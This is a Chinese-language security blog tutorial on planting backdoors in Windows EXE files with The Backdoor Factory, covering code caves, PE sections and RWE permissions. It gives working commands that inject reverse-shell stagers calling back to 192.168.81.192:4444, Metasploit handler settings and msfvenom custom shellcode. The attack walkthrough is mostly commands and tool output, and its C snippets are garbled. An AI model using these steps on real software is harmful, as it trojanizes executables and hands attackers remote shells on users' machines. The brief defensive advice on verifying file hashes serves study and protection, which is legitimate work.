利用BDF向EXE文件植入後門
0x00 前言
The Backdoor Factory可用來向可執行文件植入後門,修改程序執行流程,執行添加的payload。
本文將要介紹向EXE文件植入後門的原理,測試The Backdoor Factory植入後門的方法,分析細節,總結思路。
The Backdoor Factory下載地址:
https://github.com/secretsquirrel/the-backdoor-factory
0x01 簡介
本文將要介紹如下內容:
·EXE文件後門植入原理
·實際測試The Backdoor Factory
·分析The Backdoor Factory功能
0x02 基礎知識
PE文件格式:
參考資料:
https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files
Code Caves:
參考資料:
https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves
Code Caves的直觀認識:
使用vc6.0生成exe文件,查看文件中可利用的Code Caves
c代碼:
#include "stdafx.h"#include #include int array[200]=;char array2[200]="123456789ABCDEF";int main(int argc, char* argv[])
Release編譯生成文件,使用Immunity Debugger打開
View-Memory(快捷鍵Alt+M)
如下圖
hello.exe包含四個區段,分別為PE header、.text、.rdata和.data
查看hello.exe的.data段
如下圖
發現大段的0x00數據,這些位置可被替換成payload
0x03 文件後門植入原理
植入原理
修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程
需要注意的是程序默認只有.text段具有執行許可權,如果將payload添加到其他段(如.data或.rdata),需要將該段添加執行許可權
註:
實際使用可通過跳轉多個Code Caves拼湊執行payload
利用思路
1、新加區段,許可權為可讀可寫可執行(RWE)
可使用工具LordPE
手動添加可參考資料:
https://www.exploit-db.com/docs/42061.pdf
優點:
簡單直接,不需要考慮文件Code Caves的大小
缺點:
增加文件長度
2、使用Code Caves
搜索已有區段,尋找是否存在可用的Code Caves,對於不可執行的區段,還需要添加可執行許可權
優點:
不改變文件大小
缺點:
需要考慮Code Caves的大小是否滿足payload長度
0x04 實際測試The Backdoor Factory
Kali 2.0默認集成The Backdoor Factory,路徑為usr/share/backdoor-factory
測試系統選為Kali 2.0
為便於測試,測試exe代碼如下:
#include #include int array[200]=;char array2[200]="123456789ABCDEF";int main(int argc, char* argv[])
程序輸出hello world後暫停
下面挑選The Backdoor Factory中常見的功能進行介紹
1、檢查該文件是否適用於The Backdoor Factory
./backdoor.py -f test.exe -S
輸出如下:
[*] Checking if binary is supported[*] Gathering file info[*] Reading win32 entry instructionstest.exe is supported.
2、獲取該文件的可用payload
./backdoor.py -f test.exe -s show
輸出如下圖
可用payload如下:
·cave_miner_inline·iat_reverse_tcp_inline·iat_reverse_tcp_inline_threaded·iat_reverse_tcp_stager_threaded·iat_user_supplied_shellcode_threaded·meterpreter_reverse_https_threaded·reverse_shell_tcp_inline·reverse_tcp_stager_threaded·user_supplied_shellcode_threaded
名稱解析:
cave_miner_inline:
作為payload模板,長度為135,僅實現了控制流程跳轉,不做其他操作,可用作自定義開發shellcode的模板
反彙編的payload格式如下圖
reverse_shell_tcp_inline:
對應meterpreter server:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
meterpreter_reverse_https_threaded:
對應meterpreter server:
use exploit/multi/handlerset payload windows/meterpreter/reverse_https
iat_reverse_tcp_inline中的iat:
iat為Import Address Table(導入地址表)的縮寫,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接執行payload reverse_shell_tcp_inline會失敗,iat_reverse_tcp_inline增加了修復IAT的功能,避免執行失敗
user_supplied_shellcode_threaded:
自定義payload,payload可通過msf生成
3、搜索該文件可用的Code Caves
./backdoor.py -f test.exe -c
如果payload長度為703,那麼Code Caves需要滿足長度大於703,參數如下:
./backdoor.py -f test.exe -c -l 703
輸出如下圖
共找到三個可供利用的位置:
No section->Begin Cave 0x240->End of Cave 0x1000Size of Cave (int) 3520**************************************************No section->Begin Cave 0x693a->End of Cave 0x700cSize of Cave (int) 1746**************************************************We have a winner: .data->Begin Cave 0x7051->End of Cave 0x7350Size of Cave (int) 767SizeOfRawData 0x1000PointerToRawData 0x7000End of Raw Data: 0x8000
輸出的地址為相對虛擬地址(Relative Virtual Address),即相對於文件頭(基地址Image Base)的偏移地址
在內存中的實際地址(虛擬地址Virtual Address)=Image Base+RVA
使用Immunity Debugger查看內存結構,進行驗證
內存結構如下圖
(1)
No section
->Begin Cave 0x240
->End of Cave 0x1000
Size of Cave (int) 3520
查看內存地址數據如下圖
(2)
No section
->Begin Cave 0x693a
->End of Cave 0x700c
Size of Cave (int) 1746
內存中實際地址為0x0040693a-0x0040700c,位於.rdata段中,默認許可權為R
查看內存地址數據如下圖
(3)
We have a winner: .data
->Begin Cave 0x7051
->End of Cave 0x7350
Size of Cave (int) 767
查看內存地址數據如下圖
可以看到,通過The Backdoor Factory找到的Code Caves均符合要求
4、添加payload
這裡選用reverse_tcp_stager_threaded進行測試,payload長度為703
Server:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
(1) 添加新區段,保存payload
./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -o test1.exe
新區段名稱為.sdata,許可權為RWE
如下圖
若指定新添加區段名稱為aaa,參數如下:
./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -n aaa -o test1.exe
(2) payload保存到.data段中
./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test2.exe
根據提示選擇.data段
.data段許可權更改為RWE,如下圖
如下圖
(3) payload保存到其他段中
./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test3.exe
根據提示選擇PE header,如下圖
執行會報錯,需要對其進行修復
可使用工具nasm_shell將彙編代碼轉換為十六進位數據
Kali2.0默認集成nasm_shell
工具使用如下圖
(4) 自定義payload
生成payload:
msfvenom -p windows/messagebox -f raw >msg.bin
添加payload:
./backdoor.py -f test.exe -s user_supplied_shellcode_threaded -U msg.bin -o test4.exe
測試如下圖
0x05 小結
本文介紹了使用The Backdoor Factory向EXE文件植入後門的方法,利用Code Caves能夠不改變原文件的大小。
當然,該利用方法已經被殺毒軟體查殺,本文介紹的內容僅作技術研究。
站在防禦的角度,下載文件時需要多加註意,只從可信源下載程序,同時校驗文件hash。
※微軟office DDE攻擊與防禦
※Web App攻擊之使用Web Scarab工具搜索目標
※壞兔子來襲,安天智甲有效防護
※這名黑客說,他能看到明星整容前的樣子
※Petya昨日重現:Bad Rabbit勒索病毒突襲東歐
TAG:嘶吼RoarTalk |